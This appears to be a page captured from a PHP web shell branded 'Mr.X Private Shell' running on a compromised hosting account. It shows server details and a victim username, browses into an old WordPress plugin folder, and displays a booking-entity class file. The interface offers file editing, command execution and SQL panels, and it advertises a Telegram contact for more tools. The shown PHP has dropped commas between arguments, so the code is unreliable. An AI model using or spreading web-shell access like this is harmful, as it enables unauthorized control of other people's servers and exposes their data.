Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www///old/wp-content/plugins/quitenicebooking/includes      ( Reset | Go to )
File Name: quitenicebooking_entity_per_room.class.php
Edit
<?php
/**
 * Defines the 'per_room' entity
 */
class Quitenicebooking_Entity_Per_Room {
    
/**
     * Properties ==============================================================
     */
    
    /**
     * @var array Key definitions; see constructor
     */
    
public $keys;
    
    
/**
     * Methods =================================================================
     */
    
    /**
     * Constructor
     * Creates a new instance of this class, defines keys
     */
    
public function __construct() {
        
$this->keys = array();
        
$this->keys['room']['meta_part'] = 'room';
        
$this->keys['room']['description'] = __('Per Room''quitenicebooking');
    }
    
    
/**
     * Calculate unit price
     * 
     * @param float $base_price The base price
     * @param string $key 'room', unused
     * @param array $args Unused
     * @return float The unit price
     */
    
public function calc($base_price$key NULL$args NULL) {
        return 
$base_price;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL